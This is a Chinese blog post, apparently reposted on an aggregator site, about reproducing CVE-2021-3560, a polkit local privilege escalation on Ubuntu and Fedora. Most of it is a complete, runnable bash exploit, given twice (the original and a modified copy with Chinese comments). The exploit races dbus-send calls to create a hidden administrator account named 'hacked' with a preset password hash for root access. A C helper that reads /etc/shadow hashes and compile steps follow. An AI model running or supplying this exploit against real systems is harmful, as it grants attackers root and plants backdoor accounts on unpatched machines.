CVE-2021-3560(polkit本地提权漏洞复现)

Posted 鸿渐之翼

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了CVE-2021-3560(polkit本地提权漏洞复现)相关的知识,希望对你有一定的参考价值。

博主:鴻漸之翼
个人介绍:男,搞底層的FW,喜歡發一點沒用的東西。

Polkit 0.105-26 0.117-2 - Local Privilege Escalation

Exploit!
Tested on Ubuntu20.10 Linux localhost
在这里插入图片描述

啟明星辰漏洞簡介

Polkit是许多Linux 发行版上默认安装的系统服务,它被systemd使用,所以任何使用systemd的Linux发行版都会使用polkit。
2021年06月03日,RedHat发布安全公告,修复了Linux Polkit中一个存在了7年的权限提升漏洞(CVE-2021-3560),该漏洞的CVSS评分为7.8,成功利用此漏洞的攻击者能够获得系统上的 root 权限。目前GitHub的安全研究员已经公开披露了此漏洞的细节和PoC。
启明星辰安全
POC&&EXP

# Exploit Title: Polkit 0.105-26 0.117-2 - Local Privilege Escalation
# Date: 06/11/2021
# Exploit Author: J Smith (CadmusofThebes)
# Vendor Homepage: https://www.freedesktop.org/
# Software Link: https://www.freedesktop.org/software/polkit/docs/latest/polkitd.8.html
# Version: polkit 0.105-26 (Ubuntu), polkit 0.117-2 (Fedora)
# Tested on: Ubuntu 20.04, Fedora 33
# CVE: CVE-2021-3560
# Source: https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/

#!/bin/bash

# Set the name and display name
userName="hacked"
realName="hacked"

# Set the account as an administrator
accountType=1 

# Set the password hash for 'password' and password hint
password='$5$WR3c6uwMGQZ/JEZw$OlBVzagNJswkWrKRSuoh/VCrZv183QpZL7sAeskcoTB'
passHint="password"

# Check Polkit version
polkitVersion=$(systemctl status polkit.service | grep version | cut -d " " -f 9)
if [[ "$(apt list --installed 2>/dev/null | grep polkit | grep -c 0.105-26)" -ge 1 || "$(yum list installed | grep polkit | grep -c 0.117-2)" ]]; then
    echo "[*] Vulnerable version of polkit found"
else
    echo "[!] WARNING: Version of polkit might not vulnerable"
fi

# Validate user is running in SSH instead of desktop terminal
if [[ -z $SSH_CLIENT || -z $SSH_TTY ]]; then
    echo "[!] WARNING: SSH into localhost first before running this script in order to avoid authentication prompts"
    exit
fi

# Test the dbus-send timing to load into exploit
echo "[*] Determining dbus-send timing"
realTime=$( TIMEFORMAT="%R"; { time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:$userName string:$realName int32:$accountType ; } 2>&1 | cut -d " " -f6 )
halfTime=$(echo "scale=3;$realTime/2" | bc)

# Check for user first in case previous run of script failed on password set
if id "$userName" &>/dev/null; then
    userid=$(id -u $userName)
    echo "[*] New user $userName already exists with uid of $userid"
else
    userid=""
	echo "[*] Attempting to create account"
    while [[ $userid == "" ]]
    do
        dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:$userName string:$realName int32:$accountType 2>/dev/null & sleep $halfTime ; kill $! 2>/dev/null
        if id "$userName" &>/dev/null; then
	    userid=$(id -u $userName)
            echo "[*] New user $userName created with uid of $userid"
        fi
    done
fi

# Add the password to /etc/shadow
# Sleep added to ensure there is enough of a delay between timestamp checks
echo "[*] Adding password to /etc/shadow and enabling user"
sleep 1
currentTimestamp=$(stat -c %Z /etc/shadow)
fileChanged="n"
while [ $fileChanged == "n" ]
do 
    dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User$userid org.freedesktop.Accounts.User.SetPassword string:$password string:$passHint 2>/dev/null & sleep $halfTime ; kill $! 2>/dev/null
	if [ $(stat -c %Z /etc/shadow) -ne $currentTimestamp ];then
	    fileChanged="y"
	    echo "[*] Exploit complete!"
	fi
done

echo ""
echo "[*] Run 'su - $userName', followed by 'sudo su' to gain root access"

首先利用passwd.c,获取密码password的hash值
5 5 5WR3c6uwMGQZ/JEZw$OlBVzagNJswkWrKRSuoh/VCrZv183QpZL7sAeskcoTB

#include <pwd.h>
#include <stddef.h>
#include <string.h>
#include <shadow.h>
#include <stdio.h>
#include <unistd.h>
int main(int argc, char const *argv[])
{
	
	if(argc < 2)

{

printf("no usrname input");

return 1;

}

if (geteuid() != 0)

{

fprintf(stderr, "must be setuid root");

return -1;

} 

struct spwd *shd= getspnam(argv[1]);

if(shd != NULL)

{

static char crypt_char[80];

strcpy(crypt_char, shd->sp_pwdp);

char salt[13];

int i=0,j=0;

while(shd->sp_pwdp[i]!='\\0')

{

salt[i]=shd->sp_pwdp[i];

if(salt[i]=='$')

{

j++;

if(j==3)

{

salt[i+1]='\\0';

break;

}

}

i++;

}
if(j<3)

perror("file error or user cannot use.");

if(argc==3)

{

printf("salt: %s, crypt: %s\\n", salt, crypt(argv[2], salt));

printf("shadowd passwd: %s\\n", shd->sp_pwdp);

}

}
	return 0;
}

程序参考CSDN博主zengso

博主使用的EXP经过更改:

#!/bin/bash
# 设置账户名称
userName="hacked"
realName="hacked"
#将账户设置成管理员
accountType=1 

#设置密码为“password”,hash值$5$WR3c6uwMGQZ/JEZw$OlBVzagNJswkWrKRSuoh/VCrZv183QpZL7sAeskcoTB
password='$5$WR3c6uwMGQZ/JEZw$OlBVzagNJswkWrKRSuoh/VCrZv183QpZL7sAeskcoTB'
passHint="password"

# 检查Polkit版本
polkitVersion=$(systemctl status polkit.service | grep version | cut -d " " -f 9)
if [[ "$(apt list --installed 2>/dev/null | grep polkit | grep -c 0.105-26)" -ge 1 || "$(yum list installed | grep polkit | grep -c 0.117-2)" ]]; then
    echo "[*] Vulnerable version of polkit found"
else
    echo "[!] WARNING: Version of polkit might not vulnerable"
fi


# Test the dbus-send timing to load into exploit
# 测试dbus发送时间以加载到漏洞中
echo "[*] Determining dbus-send timing"
realTime=$( TIMEFORMAT="%R"; { time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:$userName string:$realName int32:$accountType ; } 2>&1 | cut -d " " -f6 )
halfTime=$(echo "scale=3;$realTime/2" | bc)

#如果上次运行的脚本在设置密码时失败,请先检查用户
if id "$userName" &>/dev/null; then
    userid=$(id -u $userName)
    echo "[*] New user $userName already exists with uid of $userid"
else
    userid=""
	echo "[*] Attempting to create account"
    while [[ $userid == "" ]]
    do
        dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:$userName string:$realName int32:$accountType 2>/dev/null & sleep $halfTime ; kill $! 2>/dev/null
        if id "$userName" &>/dev/null; then
	    userid=$(id -u $userName)
            echo "[*] New user $userName created with uid of $userid"
        fi
    done
fi

# 将密码添加到 /etc/shadow中
# 添加睡眠以确保时间戳检查之间有足够的延迟
echo "[*] Adding password to /etc/shadow and enabling user"
sleep 1
currentTimestamp=$(stat -c %Z /etc/shadow)
fileChanged="n"
while [ $fileChanged == "n" ]
do 
    dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User$userid org.freedesktop.Accounts.User.SetPassword string:$password string:$passHint 2>/dev/null & sleep $halfTime ; kill $! 2>/dev/null
	if [ $(stat -c %Z /etc/shadow) -ne $currentTimestamp ];then
	    fileChanged="y"
	    echo "[*] Exploit complete!"
	fi
done

echo ""
echo "[*] Run 'su - $userName', followed by 'sudo su' to gain root access"```

编译程序方法

```bash
gcc passwd.c -lcrypt -o passwd
sudo ./passwd hacked hacked

在这里插入图片描述
bash命令检查polkit版本

systemctl status polkit.service | grep version | cut -d " " -f 9

想理解Polkit漏洞原理的读者可以参考以下文章
Polkit漏洞原理分析Github中文翻译CSDN博主weixin_42489549

以上是关于CVE-2021-3560(polkit本地提权漏洞复现)的主要内容,如果未能解决你的问题,请参考以下文章

CVE-2021-3560 Polkit权限提升漏洞复现

CVE-2021-3560 Polkit权限提升漏洞复现

Linux 系统安全 - 近期发现的 polkit pkexec 本地提权漏洞(CVE-2021-4034)修复方案

CVE-2021-4034_Polkit提权漏洞复现与修复

Linux内核本地提权漏洞(CVE-2019-13272)

漏洞预警公告Linux pkexec 本地提权 (CVE-2021-4034)